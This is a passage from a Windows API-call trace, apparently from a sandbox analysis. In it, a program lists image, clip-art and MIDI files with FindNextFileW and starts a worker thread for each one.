	[0248.914] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24fc
	[0248.916] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.917] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1
	[0248.917] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2500
	[0248.919] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.919] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1
	[0248.919] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2504
	[0248.921] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.921] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1
	[0248.922] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2508
	[0248.923] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.924] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1
	[0248.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250c
	[0248.925] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.926] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1
	[0248.926] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2510
	[0248.928] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.928] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1
	[0248.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2514
	[0248.930] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.931] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1
	[0248.931] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2518
	[0248.932] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.933] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1
	[0248.933] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x251c
	[0248.935] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.935] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1
	[0248.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2520
	[0248.937] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.938] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1
	[0248.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2524
	[0249.211] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.212] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1
	[0249.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2528
	[0249.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.214] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1
	[0249.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x252c
	[0249.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.216] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1
	[0249.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2530
	[0249.218] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.218] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1
	[0249.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2534
	[0249.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.221] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1
	[0249.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2538
	[0249.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.223] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1
	[0249.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x253c
	[0249.224] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.225] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1
	[0249.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2540
	[0249.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x72, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1
	[0249.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2544
	[0249.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.229] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1
	[0249.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2548
	[0249.230] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.231] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1
	[0249.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254c
	[0249.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.233] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1
	[0249.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2550
	[0249.234] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.235] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1
	[0249.235] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2554
	[0249.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.237] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1
	[0249.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2558
	[0249.239] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.239] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x72, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1
	[0249.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x255c
	[0249.241] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.241] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x72, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1
	[0249.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2560
	[0249.243] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.244] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1
	[0249.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2564
	[0249.501] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.502] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1
